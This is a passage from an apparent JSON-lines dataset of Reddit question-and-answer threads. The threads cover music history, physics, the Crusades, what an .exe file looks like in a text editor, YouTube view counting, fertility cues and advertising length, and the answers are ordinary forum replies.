the money is. When 'Tutti Frutti' came out. ... They needed a rock star to block me out of white homes because I was a hero to white kids. The white kids would have Pat Boone upon the dresser and me in the drawer 'cause they liked my version better, but the families didn't want me because of the image that I was projecting.\"\n\nOther white artists were less reliant on songs already made popular in R & B circles by black artists, however. The Everly Brothers relied heavily on the songwriting of husband and wife team Felice  &  Boudleaux Bryant, while Buddy Holly was a fine songwriter in his own right (whose [covers of 'Bo Diddley'](_URL_11_) by [Bo Diddley](_URL_3_) and 'Brown Eyed Handsome Man' by Chuck Berry were only released after his death).\n\nAll of which does pretty clearly show that simply being a handsome white boy certainly made it easier to a) get atop the charts singing the same tunes as the black guys but not as well, and b) get a major label record contract. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=xbfMlk1PwGU", "https://www.youtube.com/watch?v=yoHDrzw-RPg", "https://www.youtube.com/watch?v=uxHQUvCkV20", "https://www.youtube.com/watch?v=lJj22Z006ec", "https://www.youtube.com/watch?v=DCP_g7X31nI", "https://www.youtube.com/watch?v=6FeWJHUB8aU", "https://www.youtube.com/watch?v=2bqeSGpP9PI", "https://www.youtube.com/watch?v=XA5HErVE9oI", "https://www.youtube.com/watch?v=CnI_LuCJ4Ek", "https://www.youtube.com/watch?v=cgdzS4OSQ1M", "https://www.youtube.com/watch?v=oamcde0cmGQ", "https://www.youtube.com/watch?v=ezMLB4nQlAw", "https://www.youtube.com/watch?v=Z8dx0oE--VI", "https://www.youtube.com/watch?v=7KbjWK6kTQg", "https://www.youtube.com/watch?v=jBzzlUIEWHA"]]}
{"q_id": "2c1hi8", "title": "if there are an infinite number of universes, wouldn\u2019t there be one where a machine was invented that could travel to ours?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2c1hi8/eli5if_there_are_an_infinite_number_of_universes/", "answers": {"a_id": ["cjaynpw", "cjayo4k", "cjayojv", "cjb20cq", "cjb3zy3", "cjb730z", "cjb8et2", "cjbbg1z", "cjbcv5q", "cjbe1x8", "cjbefvk", "cjbeolp", "cjbfbr3", "cjbfv4r"], "score": [5, 596, 24, 10, 8, 59, 2, 3, 2, 2, 3, 3, 3, 2], "text": ["Maybe there exists another universe where they invented a machine that prevents people from the first universe from coming here.", "Well there's the idea that an infinite number of something doesn't mean every variation of it is possible. For example, there are an infinite number of numbers between 1 and 2, but none of them are 3, because it isn't possible.", "*If* there are an infinite amount of universes, which is a really huge \"if\", it doesn't mean anything conceivable has happened. At the most it might imply that anything *possible* has happened, and time travel might simply be impossible.", "Who's to say there isn't a universe where it was invented, and they used but traveled to another universe that isn't ours? We'd never know and from an infinite selection chances are they would never pick ours unless there was something really special about it.", "\"I wouldn't take a bet against the existence of time machines. My opponent might have seen the future and knows the answer.\"\n\n-- Stephen Hawking\n", "With an infinite amount of universes, and if it were possible to travel to another universe, there would be infinite universes that have people traveling into them, and there would be infinite universes that don't have anyone traveling to them.", "Maybe we exist in the version that wasn't contacted. ", "Another possible reason is that physics doesn't allow us to move between universes. It could be as simple as that.", "Despite the top comment we have to look at the alternatives if this did exist.\n\nIf it existed in this world it would likely be either classified or highly regulated. It would almost always be used for information gathering and looking for new technologies or ideas. \n\nDue to the nature that it is an ENTIRE universe it would also be risky as there would be high chances of traveling to a universe where there is no earth or worse in the middle of a star/planet. \n\nIt is highly unlikely that a door would open between two universes but it is a possibility, likely from two universes that both have similar technology.\n\nThis has been explored both in literature (For instance the subtle knife, also the name of the book, was able to cut through the fabric between worlds) and conspiracy theories (The beatles never broke up album for instance).\n\nGiven our lack of understanding it of course exists in theory as well from black holes, wormholes, white holes and dark matter/energy. We of course can't test those yet and probably wont til we're a space faring species so that might also be a reason.", "I am currently writing a SF novel where it is possible to transit from one universe to another, but the real question is why bother in my story. Because most of the technology and energy system to make the transit happen does not leave this universe.\n\n(For the answer - read the book.)\n\nIn other words - its a one way trip. What government would fund sending a hyper expensive probe somewhere to get no data back other than that \"the probe left on time\".\n\nI suspect if we do get a device or visitor from another universe - we won't notice it arrive. It will always have been there.", "Even if there was the occasional universe with these machines (Which the other posters have pointed out is not necessarily the case), how many universes without these machines are there? If one in a billion universes ever develops such technology, and each of those universes visits or influences directly or indirectly a million other universes, there are still going to be 999 million left untouched.\n\nAlso, even if they did have this technology, and they did come to this universe, who's to say they would pick this particular planet, around this particular star, in this particular arm of this particular galaxy, in this particular cluster, at this particular time? Maybe they were on earth a billion years ago, or maybe they just entered this universe... a billion light years from where we are, or maybe they'll show up above where New York City is, a million years from now.\n\nEven if they did manage to pick the right universe, location, and time to be here, who's to say they would have anything to say to us? We haven't even got our own shit together enough to work together as a species. If you were powerful enough to travel the dimensions, would you really want to share any information with humanity? We're facing possible war, the culmination of a century of ignoring the environment, an over-committed and and self-sabotaging world power, and a wide spread ignorance of the full scale of problems that faces us.\n\nNo, if I was a dimension travelling super being that's here on earth then I'd be sitting back with a bowl of popcorn and waiting to see how this all turns out.", "Well this is a tough one to put into the ELIF (quantum talk can get pretty advanced pretty quick--there are only about 7 people that really understand it) BUT, if it is possible, and it takes place, there are also an infinite number of universes.  So the odds that it takes place here (i.e. for you in this universes to witness), *and* you are physically able to view it, is very small.", "you ask why havent they showed up yet, how do you know they havent maybe they were to earth billions of years ago accidentally exterminated all the dinosaurs and decided to get the fuck out before anyone came to ask what happened to them.", "Maybe because it's pointless. Just because it's possible doesn't mean you have to do it. Even if there was a benefit to it - a sufficiently advanced race might have nothing to gain from contacting us. As a species we're barely out of the jungle. Maybe in a million years time we might have something interesting to contribute."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3vi8ts", "title": "why is it recommended to shake aerosol cans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3vi8ts/eli5why_is_it_recommended_to_shake_aerosol_cans/", "answers": {"a_id": ["cxnryau", "cxntwbp", "cxnvpbt", "cxny53f"], "score": [25, 395, 5, 7], "text": ["It's not all aerosol cans. Only those whose contents separate on standing. Paint is the obvious example.", "three things live inside a can of spray paint.   \n\n1. paint\n2. propellent \n3. a little plastic ball\n\n\nthe propellent makes the paint come out of the can super fast! but only if they're mixed together really well. otherwise, only the propellent will come out and the paint will be left behind. \nthe little ball is there to help mix the propellent and the paint when we shake it. That way, everything gets nice and well mixed. ", "Super simple eli5 response with my poor grammar. \n\nOK. Just like hobby, home, and finger nail paints, you have pigments, liquefiers, bonders, hardeners, and metal or plastic reflective flakes. \nAll or some of these are different weights and will settle as the can sits.\nYou the painter want the product to come out like the cap so all those elements need to be blended back together evenly. Since you can not stir, you shake. \nThe propellent is not typically part of the mix and is very good at staying out of the whole deal. \nThe rattle of the rattle can is there just to agitate the whole lot. \nAlso, if you use a lot of rattle cans, I have found it best to store them at a angle. Similar to a wine racks angle. \n\nSame things for paint are true for cooking oils, hair spray and body spray. Different ingredient weights settle and you shake to mix.\n\nTo prevent huffing companies put a additive to the propellent that taste bad, smells bad, or makes you feel ill. \n\n\nSource: I have worked with Radio Controlled hobby's since 1988 and currently do it professionally. We use a lot of paint.\nAlso. Here is a link to the inside of a can.\n_URL_0_\n\nEdit: words hard.", "Many of the things you put inside a can are mixtures of stuff. When it sits on the shelf, the mixtures separate into layers. If you didn't shake the can to mix it all back up again, all you'd get is the part of the mixture that ended up at the bottom of the can. You don't want that. You need all the different parts of the mixture, all mixed up. So you have to shake the can."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://s-media-cache-ak0.pinimg.com/736x/ea/97/b2/ea97b2003ec0e436aa04396a0c9bb59a.jpg"], []]}
{"q_id": "5g1ug7", "title": "if i open an .exe file in a text editor, what am i seeing?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5g1ug7/eli5_if_i_open_an_exe_file_in_a_text_editor_what/", "answers": {"a_id": ["daotacw", "daothew", "daotkfq", "daotp4x", "daotsum", "daowpy2", "dap113z", "dap23jb"], "score": [7, 18, 134, 10, 2, 5, 2, 2], "text": [" The assembly instructions aren't saved as text. You're seeing binary machine instructions as parsed by an ascii or unicode table, which shouldn't be expected to have any rhyme or reason to them. It's more or less like assigning the numbers 1-26 to the alphabet and putting a bunch of random numbers through that decoder. ", "You will see an attempt by the editor to display data as characters when the data doesn't represent characters.  This is akin to putting playdough in an easy bake oven and expecting the result to be a cake.  \n\nTo correct you a bit, the compiler actually reduces everything to machine code when building an executable.  Machine code is kind of a step below assembly.  So MOV ax,data is actually converted to just a string of numbers when it actually gets executed.  Assembly is not that different than programming in C, it is just a whole lot more low level.  \n\nSo when you actually open the exe, you are actually viewing the actual bytes of the compiled program in its purest form, the machine code.  Those bytes are not in ASCII, they are just bytes.  Because you asked Notepad to open it, it will do its best to interpret those bytes as ASCII.  But since ASCII has a lot of non printable characters in it, or characters that are symbols of some sort, the odds of seeing any text that is readable is pretty slim.  And even if text exists in the application, depending on how the word boundry for the app works out, it may have the bytes of the text offset a bit so that you don't even see that text as text. ", "You're looking at machine code (or, in some cases, something akin to it - more on that later).  The assembly commands (like \"mov\") are translated into numbers before being stored in an exe.  Let's say that \"mov\" is the number 78 (I'm totally making that specific number up).  Then a 78 goes into the exe.\n\nBut it's not the text character \"7\" followed by another text character \"8\".  It's a single byte with the value 78.  That is, eight bits, 01001110.  And your text editor doesn't understand that (in an exe) the byte with value 78 means \"mov\".  It only understands what the byte with value 78 means in text files, not exe files.  And in a text file, [a byte with value 78 means the text character \"N\"](_URL_0_).  So it shows you an N.\n\nThe N is basically your text editor's best guess -- but a totally wrong guess -- as to what 78 means.  All the other characters that it shows you are also best-but-totally-wrong guesses, and so your text editor winds up showing you a bunch of garbage.  This is because you're asking your text editor to show you a file that it doesn't understand the meaning of - i.e. it's not a text file.\n\nI've breezed over some stuff here, due to it being ELI5.  A couple of them briefly:\n\n(1) It's not necessarily really machine code.  Machine code is stuff that your computer's processor directly understands.  It might be a more intermediate thing.  For example, when you write code in the Java language, and compile it, it does not get compiled to stuff that your computer's processor directly understands.  It gets compiled to stuff that the \"Java Runtime Engine\" directly understands.  When you run a Java program, you're actually running the JRE, which is then translating the compiled stuff into machine language on the fly.  But anyway, it's the same idea: Your text editor doesn't understand Java bytecode, and so winds up showing you junk.\n\n(2) The \"78 is N\" thing is if the text file is in [ASCII](_URL_1_).  Nowadays [Unicode](_URL_2_) is more common, but it's the same basic idea, and ASCII is easier for a high-level explanation.  Similarly \"8 bits\" for an instruction is not likely on a modern processor, but it's the same idea.", "To clarify, even a programmer would not be able to make any sense of what you see in notepad when you open an exe.  It's like asking a musician why compact discs sound scratchy when you play them on a turntable.\n\nIf a programmer wanted to know what an exe file is doing, he would use a utility called a disassembler (such as gnu objdump) which would convert it back to the \"mov ax,data\" type text.\n", "Assembly is basically binary machine instructions, displayed in a way so you can read them. Your processor only accepts binary instructions. An assembler takes your assembly text and puts it in a file in binary format.\n\nYou see a bunch of gibberish because your text editor is trying to convert machine code to something readable.\n\nFiles are made of bytes and in a text file, every byte contains a character you can display (simplification,  but that doesn't matter). There can be 256 different characters, because each byte can hold a number between 0 and 255. All of these numbers are used in machine code,  but a lot of them do not really have a meaningful character associated to them, which is why you see the mess. That doesn't  matter though, because a processor reads the data binary and not as text like humans do.\n\n What you actually need to open the executables is a hex editor. A hex editor displays each byte as a hexadecimal number. So for instance if you had an instruction MOV AX , 8 you would  probably find that value 8 somewhere. \n\nIf you have an old DOS machine somewhere, you can very easily play with assembly and generate your own executables, which can be great fun.", "Actual ELI5: remove all the spaces from a piece of text, then split that solid line of into words of length 8 letters. Your words are now just chunks of 8 letters which just happen to be the next 8 characters of data in the line. They mostly won't make sense, but some might. The point here is the understand that process, not the result. \n\nDo the same with a sequence of numbers of varying length - remove the spaces and chunk into 8 digit numbers. You get new numbers with different values which are composed of the next 8 numbers in the line.\n\nThe exe is read a string of numbers as I just described in the previous paragraph. The text editor is reading it and chunking into units of fixed length, then converting those numbers into a corresponding character. The exe is also an encoding of the assembled machine instructions which are of varying length. If you were to put the exe into a disassembler, it would know the length of the instruction and display it property based on the instructions it decoded. The text editor is not doing that, it's doing the chunking I described above. \n\nThose new numbers are random and often don't map to a real character, which is why you see mostly spaces and characters outside the normal a-z 0-9 range. ", "An .exe file contains instructions which are stored as 1s and 0s. A text file stores text as 1s and 0s. The difference is the way the 1s and 0s are interpreted. If you open an .exe file with your text editor the editor will interpret the 1s and 0s as text. However they don't contain text data but instruction data. If you interpret instruction data as text then you get the result you are looking at - a random hodgepodge of letters and numbers", "No. A compiled program isn't assembly code that will later be turned into machine code - a compiled program _is_ already machine code that is meant to be fed (almost, this is ELI5) directly into your CPU .\n\nHowever, your notepad doesn't know that. It thinks it's a text file, so it interprets it as a text file. That is perfectly possible because a textfile looks _exactly_ the same as machine code - it's just 1's and 0's in a row. The only difference is that machine code interpreted as text doesn't make any sense to a person that reads it - but your editor doesn't know that, of course. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.asciitable.com/", "https://en.wikipedia.org/wiki/ASCII", "https://en.wikipedia.org/wiki/Unicode"], [], [], [], [], []]}
{"q_id": "46pry2", "title": "If one downloaded a YouTube video using a tool like, say, youtube-dl, does that download count as a view in YouTube's eyes?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/46pry2/if_one_downloaded_a_youtube_video_using_a_tool/", "answers": {"a_id": ["d08l9uq"], "score": [2], "text": ["That depends on what methods YouTube uses to track download counts. Every time you open a video on YouTube, your browser makes a number of requests to different files from YouTube's servers. For example, you will download the HTML, CSS, JavaScript, configuration data, and the actual movie content files. \n\nIf the server increments the view count when the browser requests the HTML, then the YouTube-dl script might not request the HTML and instead directly request the video manifest contain links to the actual video data. \n\nIts likely that YouTube tracks the number of times that clients request the video manifest file which would include downloader scripts, but I couldn't say for sure without actually seeing the source code.\n\nAt one point YouTube had an API (special request formatted just for other software to call ad process) that would return metadata about the video."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "f758so", "title": "when you get the \u201cfalling feeling\u201d of hypnagogic jerks when falling asleep, how does the body know what falling from a great height feels like if we\u2019ve never done it?", "selftext": "I know the human body understands what it\u2019s like to fall from a small height, or down a flight or stairs, but one could argue that those two things are different.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f758so/elif_when_you_get_the_falling_feeling_of/", "answers": {"a_id": ["fi98exg", "fi99puw", "fi9dywi", "fi9e2ks", "fi9e2qu", "fi9ergv"], "score": [4, 18, 2, 2, 2, 2], "text": ["I\u2019ve heard that this happens because we get so deep into sleep our breathing slows down and our body jerks in a way to jump start ourselves back.", "How do you know what falling feels like if you've never fallen like that? I mean how do you know that the feeling of falling in your sleep is accurate of you've never fallen?  Like the matrix, \"how do the machines really know what Tasty Wheat tasted like, huh? Maybe they got it wrong. Maybe what I think Tasty Wheat tasted like actually tasted like uh.... oatmeal or uh.... or tuna fish.\"", "But you know what falling feels like. You\u2019ve fallen before, and you\u2019ve been on rollercoasters. \n\nPlus what you imagine falling is like in your \u2018dream\u2019 doesn\u2019t have to be the same as what it\u2019s actually like. And how would you know that it is?", "You think past lives extend to only humans? That consciousness was not a well from which creatures have drawn, been returned to the mix, and drawn from again, since time immemorial? That within you are not the nebulous husks of thoughts of brachiating arboreal entities and flagella wriggling organisms alike? Nay, fool, those impressions are a remnant of a life for which a fall spelled certain doom. Your ridiculous looking shoulders are not the only holdover.", "(I got pushed off the swing I was on when I was seven, and I fell about 20 metres away). \nin my early teens, I had extreme insomnia, and the prescribed melatonin had barely any effects. so I deviced this technique where I would imagine i was climbing the ladder that would take me to the top of the building it was connected to.\nI would feel each ring under my feet, and the metal under chipped paint on my hands, so that would bore me and I'd fall asleep. \n\na few years later I started becoming really sad, and slept all the time. I got nightmares every night when I was failing off the I had been climbing and I woke up suddenly because of the falling feeling. and tbh it was just like the time I fell off the swing mid flight.", "_URL_0_\nSci show has a really interesting video on this! Their channel is pretty amazing. They take a lot of concepts like this and make them easy to understand. Happy learning!!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://youtu.be/Mg_66TRsb6Y"]]}
{"q_id": "h87vx", "title": "Why does there need to be a gravitron?", "selftext": "Ok, so I'm a lay person with an amateur interest / understanding of particle physics, so if this is just dumb, please excuse me. \n\nHowever, as I understand it, one explanation for the phenomenon we experience as gravity is that the warpage of space-time around a sufficiently massive body creates a dimple in space-time, causing things to curve towards it in space, hence, gravity.\n\nSo given all that, doesn't that obviate the need for a gravitron? Doesn't that make gravity a wholly natural physical process that doesn't need its force to be carried by a particle?\n\nI'm sure I'm misunderstanding something here, I just don't know what. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/h87vx/why_does_there_need_to_be_a_gravitron/", "answers": {"a_id": ["c1tc0il", "c1tc0t6", "c1tcv9i", "c1te16h", "c1tekxe", "c1tfcrr"], "score": [34, 9, 13, 2, 2, 2], "text": [" >  However, as I understand it, one explanation for the phenomenon we experience as gravity is that the warpage of space-time around a sufficiently massive body creates a dimple in space-time, causing things to curve towards it in space, hence, gravity.\n\nThis is correct. To determine the curvature of spacetime, one takes the density and flow of energy at every point in space, and plugs these quantities into the Einstein Field Equations - assuming that one can handle the resulting mathematics, which can get tricky, the answer pops right out.\n\nSo if I have a huge object, like the sun, with a mass of 1.99 x 10^30 kg I can calculate its mass density and hence the energy density at every point in space, and determine how spacetime is curved. \n\nHere is the catch: even though the sun is ultimately made up of protons and other particles, it can be reasonably approximated as classical - that is having a perfectly well defined position and momentum. So the energy density everywhere in the sun is a well defined number to plug into the Einstein Field Equations.\n\nNow consider a proton. A proton has a mass of just 1.67 x 10^-27 kg, so in any reasonable situation one can ignore the curvature of spacetime caused by the energy density of the proton. However, if one could slam together protons at a high enough energy scale, this gravitational interaction would become important, and one would need to calculate the curvature.\n\nThe problem is now that the proton is a quantum object, and so does not have a perfectly well defined position and momentum. This means that you don't have good classical numbers for energy density to plug into the Einstein Field Equations. You can't use them to determine how a single proton curves spacetime. You can only use them if you have enough protons in a huge ball (like a star) so that the system can be approximated with a classical energy density.\n\nIn order to determine how two protons slammed together might interact, one has to treat them properly - as quantum field excitations, and then one needs to treat this interaction as an excitation in another quantum field, specifically a quantum gravitational field. Or someone needs to come up with a whole new mathematical framework to understand both quantum fields and gravity in a coherent manner.", "It's a graviton, without an \"r\". We expect it to exist because all of our other forces are described by quantum theories. If we want to unite gravity with quantum mechanics, a force carrier, like the graviton, should exist.", "There's no need for the graviton now like there was no need for the photon in 1875. The representation of E & M as electric and magnetic fields served us very well until we started to be able to probe the quantum scales of electromagnetism. The problem we have now is that gravity is so weak that we can't probe it anywhere near the scales we think it might break down, so we have no experimental need for a graviton.\n\nThe point is that a graviton is not made \"obsolete\" by the curvature picture, nor is the curvature picture made obsolete if we discover a graviton. Both couple to the stress energy tensor in the same way and are different limits of the same theory. \n\nAt times it is tempting to say that gravity is just fundamentally different than the others in that it can't be described by a quantum theory; it's a purely classical phenomenon. There's a compelling argument that gravity at some level must be a quantum theory that arises from the classic debates between Bohr and Einstein. Simply put, Einstein would show that Bohr's interpretation of quantum mechanics was wrong by saying, \"hey if I measure this property there's a contradiction\", to which Bohr would invariably respond \"yeah, but that thing you're measuring with is quantum too, so the contradiction doesn't exist\". The point is that if something in the world obeys quantum mechanics, then everything must obey quantum mechanics. If not you might be able to construct a theory that uses the classical theory to measure all the properties of a quantum theory exactly.\n\nnote: This last paragraph is hearsay and I have nothing to back it up. ", "Classical fields (the classical photon field, the classical electron field, the classical top quark field) appear in theories via an expression called the Lagrangian. We can quantize some of these fields and find that excitations of all interaction fields have associated bosons (e.g. the photon, W^+ boson etc.)\n\nSince gravity appears as a classical field too (called the metric), if our previous methodology is correct, we expect to be able to quantize this field, and have excitations of that too. We call these excitations gravitons.\n\nWe currently have no reason to presume the previous methodology is correct to apply to gravity apart from induction.", "The first few chapters of Zee's \"Quantum Field Theory in a Nutshell\" contains the most convincing argument I've seen for it. \n\nI'm still not convinced though. As scientists, we ought to defer to observation. General Relativity is a perfectly fine theory for now and until there's contradictory evidence, I don't see any reason to replace it.", "Nobody knows if there needs to be one...\n\nFrom quantum mechanics that every \"field\" come in discrete bits, quanta, that we call particles. Every other interaction that we know of sans gravity has a \"particle\" that mediates it. So we expect there to be one for gravity too, and we call it the graviton.\n\nThere has never been an experiment that has disagreed with GR, and non-quantum mechanical description of gravity. Nonetheless many physicists are convinced it's wrong at some energy scale.\n\nThis is by no means a settled issue abut is in fact an area of current research. We don't know if there does or does not have to be a graviton."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1qwcn3", "title": "why when animals start their period or 'heat', male animals can tell, but with humans we cannot?", "selftext": " ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1qwcn3/eli5_why_when_animals_start_their_period_or_heat/", "answers": {"a_id": ["cdh5gbl", "cdh5ml9", "cdh61um", "cdh6ie2", "cdh6xdw", "cdh7tp5", "cdh8cjs", "cdh8gtq", "cdhgqe1"], "score": [54, 7, 2, 34, 2, 3, 3, 15, 7], "text": [" > Why when animals start their period or 'heat'\n\nA period and estrus (i.e. \"heat\") are not the same thing.  Humans are fertile all year long, and don't enter estrus.", "A lot of this has to do with the sense of smell.  A female releases pheromones when she is entering her fertile stage and the odor can travel for miles.  The male can pick this out from miles away.  Humans have one of the worst sense of smells in the Animal kingdom, women do release these hormones and you can smell them if you got right in there, but that woman might get mad at you.", "We can tell, it's just subconscious. ", "Unlike most other animals, including primates, Human fertility is \"hidden\".  This doesn't mean that it is impossible to notice in all females at all times by all observers, just that it is much harder to uncover, and that there is no obvious external signal.  Like most evolutionary developments, it is difficult to pinpoint a single overriding reason that applies in all places and times.  \n\nJared Diamond discussed the topic in one of his book, the Third Chimpanzee.  He noted, if I remember correctly, that part of the reason might have been to encourage males to stay with females.  Effectively, since you can't tell whether your mate is fertile, it makes it riskier to leave for extended periods.  \n\nThere are [other](_URL_0_) theories as well. For instance, Nancy Burley argues that a driver may be that we are smart, smart enough to realize that childbirth is dangerous and painful, and that it's linked to sex while fertile.  As a result, women who were more certain that they were fertile might have been selected against, since they would more often choose not to have kids. \n\nIt's an interesting question, and one whose answer may never be known for sure.  To the extent there's a single \"correct\" response, it is that aspects of our existence as social mammals with high intellect, plus a little bit of luck, puts us in a unique place regarding reproduction.   ", "maybe because humans bathe a lot more than animals. we dont give off that scent?", "I can smell through a woman's skin when she is menstruating and generally how heavy it is.  It smells like a combination of copper and garlic and the smell begins before any discharge comes out.  Each woman has a smell that is slightly different that every other woman I have smelled.\n\nThe thing that concerns me is that my 7 year has had that smell one day a month for the past 3 months but with no discharge.  Perhaps someone here will know how many of these dry runs a woman's body goes through before any discharge actually begins.  My wife noticed my daughter being moody on these days, so we know it can't be too far off.\n\nIf any questions arise for me, I'm about to board a plane so I may not be checking this very often during my trip. ", "Aren't there studies that show strippers who are ovulating make more money than ones who aren't?  I would search for the study but probably not a prudent search at my current location.", "Actually, we can tell, it's just not something most people are consciously aware of. There are some interesting TED talks on this, and [this article](_URL_0_) states: \n\n > \"Their body scent is more attractive to men. Their bodies also become more symmetrical due to changing shape of the soft tissues. Skin becomes paler, which is significant because women are slightly less pigmented than men in all ethnic groups. Their gait is sexier.  Even women's voices change, becoming more high-pitched when they are fertile (2).\n\n > \"As if this were not enough for a species supposedly having concealed ovulation, it turns out that men are also sensitive to when their female partners are ovulating because they are more attentive, and express greater jealousy at these times.\"\n\n\n\nSo while men may not be conscious of the fact that women are presenting these signs, they do affect men's behaviour. Anecdotally, I can affirm that my SO is noticeably more attentive when I'm ovulating. ", "As a human I can perfectly tell when she is on period.\n\nME: \"Darling, what are we going to eat tonight?\"\n\nHER: \"Go buy some shit for yourself you mother*****, I'm busy!\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["digitalcommons.iwu.edu/cgi/viewcontent.cgi?article=1012&amp;context=socanth_honproj"], [], [], [], ["http://www.psychologytoday.com/blog/the-human-beast/200907/are-fertile-women-more-attractive"], []]}
{"q_id": "6susof", "title": "During the Third Crusade, did the Crusaders and the Muslims start using each others equipment upon discovering their respective previously unknown equipment/technique?", "selftext": "*each other's, techniques", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6susof/during_the_third_crusade_did_the_crusaders_and/", "answers": {"a_id": ["dlg0eds", "dlg2plx"], "score": [13, 2], "text": ["I know you've asked this question (or questions similar to it) several times now, and I've been waiting to answer in hopes that I might be proven wrong. But there's no evidence that I'm aware of for European or Muslim troops adopting each other's equipment during the Third Crusade; one expects that, if they were going to, they would have done so some time in the previous one hundred years, rather than during an active campaign. The only source I'm aware of that even describes individual equipment to any great extent is Baha al-Din, who emphasized the protective qualities of the Europeans' armor, consisting of both mail and some variety of felt vest that excelled at stopping arrows. I can't emphasize enough that most medieval sources are *terrible* for understanding the small details of military life. They are, in the main, concerned with narrative (and glorification of aristocratic sponsors). Tables of equipment, casualty reports, payrolls: we have none of these things for the Third Crusade.", "Probably not, no. \n\nEquipment in crusade warfare was based on the user's tactical approach to battle; these were fairly incompatible between the Christian and Muslim armies. \n\nIt is likely that Arab use of longer lances stemmed from their experiences fighting Franks: the equipment of the Crusader forces favoured close combat and so lances allowed for Arab fighters to engage from a greater distance. However, these were not Frankish lances, nor were they copies. These lances, especially those employed by the Turks, were much lighter. \n\nLikewise, the Muslim armies were equipped with shields but these were not the shields of the Franks. Arab shields were smaller (round, not 'kite-shaped') and also lighter. The theme of weight reduction should be becoming self-evident here: the tactical approach of the Muslim armies was overwhelming that of mobility. \n\nThe Frankish *milites* were increasingly armoured. Mail flowed increasingly over the extremities, into considerable skirts, over hands and into loops around the neck and face. A Muslim outfit not serve a Frank, nor would a Frank's equipment benefit an Muslim, because each is tailored very specifically to their respective culture's ideas on warfare.  \n\nWould weapons have been re-purposed on the battlefield? Logically we would yes, almost certainly. Do we have evidence that it was widespread or institutional? No. \n\nFor more information please consider *Crusading Warfare, 1097-1193* by **R.C. Smail**. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3pllyj", "title": "Are 30 second advertisements more effective than 15 second ads?", "selftext": "Just looking at youtube and how there are some 30 second ads and 15 second ads for the same product. They seem to portray the same things and was wondering if a longer ad actually has any point to it", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3pllyj/are_30_second_advertisements_more_effective_than/", "answers": {"a_id": ["cw7hzxv", "cw7j9vy", "cw7juvk", "cw7ljdi", "cw7o6bc", "cw7ofyc", "cw7xm3q"], "score": [5, 64, 3, 2, 6, 2, 3], "text": ["Completely anecdotal, but the longer the ad, the more time I have to change windows and do something else. If there's 3 minutes of unskippable ads, I change window and turn off sound. If there's 30 seconds, I'll probably just change the window. If there's a 15 second ad, chances are I'll probably watch it.\n\nEdit: Totally forgot AskScience is the only place on this internet discussion forum where you can't discuss things even if they're relevant.", " >   Informational 15-sec commercials were as effective as informational 30-sec commercials in several situations and could be used as stand-alone units. Emotional 30-sec commercials were superior to emotional 15-sec commercials in influencing a viewer's learning of brand name and attitude. \n\nThe Effects of Length, Content, and Repetition on Television Commercial Effectiveness - ResearchGate. Available from: _URL_0_ [accessed Oct 21, 2015].", "I was working in tv advertising few years ago. 30 seconds in TV really more effective because chances are it will generate more exposure since people can tune into ad, and people who switched off also counts. Prices for advertising on tv being counted using gross raining points, the value of the rating depends on how much people (what percentage of people) was tuned in every given moment and watched certain ad. Also it worth note that it is considered that you watched it if you was looking in it for 10 seconds or more. There are variations and some math on that account but that's what it is. In my country at least. \n\nAlso rating being used as a coefficient to the price of the spot. 30''  1GRP spots are used as x1 price. 15\" 1GRP will be 1/2  etc...", "Well the studies I know of are too old - 90's - and in swedish so I can't help much there. But your question varies a lot depending on what format and how the viewer is exposed to it.\n\nSpecially now that a lot ads are seen on smartphones, and not stationary in set areas - like the couch or in front of your PC monitor - the demands and behavior of the viewer changes. And then on the phone it changes further if it is a Gaming App, Utility App, Video App and then the needs people have of media such as entertainment, education, information and pleasure/pornography. (Maybe leisure is a better word.)\n", "I work in digital marketing, my major exposure to video ads is through YouTube.\n\nThere are several factors at play here.  Saying whether one is more effective than another is too simplistic.  Are you asking purely on how it influences a viewer?  Or are you asking about effective as a marketing channel?\n\nFor example, in YouTube, if your ad is less than 30 seconds you pay everytime someone views it.  However if it is over 30 seconds you are only charged once it hits 30 seconds (users can skip after 5 seconds).  So in this channel a great technique is to target specific channels/placements with ads that appeal to your user. \n\nIn this way you are able to get a lot of free views effectively decreasing your cost per view compared to going with a 30 second ad where you are paying for people who aren't interested at all.\n\nTLDR: Depending on the channel you can get more \"bang for your buck\" with longer formats independent of what works and what doesn't.", "For online advertising there can be a couple of factors that play in:\n\n1. Total content length.  If people are watching a 30 minute video they are invested in the viewing and are more likely to deal with 30 second spots.  If the video is less than a couple of minutes long, a 30 second ad could be longer than the user planned on viewing the actual content, so they may be much less likely to view the ad, and or actively annoyed by your product.\n\n2. For ads inline with content (i.e. blogs or news sites), length needs to be shorter than the average page engagement length.  So if your users are spending an average of 5 minutes on each page you can have a slightly longer ad, if they are madly clicking through and spending less than a minute per page then you will want to be using very short ads, or even static or animated images.\n\nEdit: Also, be sure to see [Ak-01's response](_URL_0_) below.  There's a good reason that Youtube has several different models and methods.  All of the successful online advertising firms also do a lot of work to deliver the right type of ad in the right space to the right user as well, factoring in the content and website along with the audience in an attempt to drive up views and click-throughs.", "Piggybacking question:\n\nHow effective is television advertising, 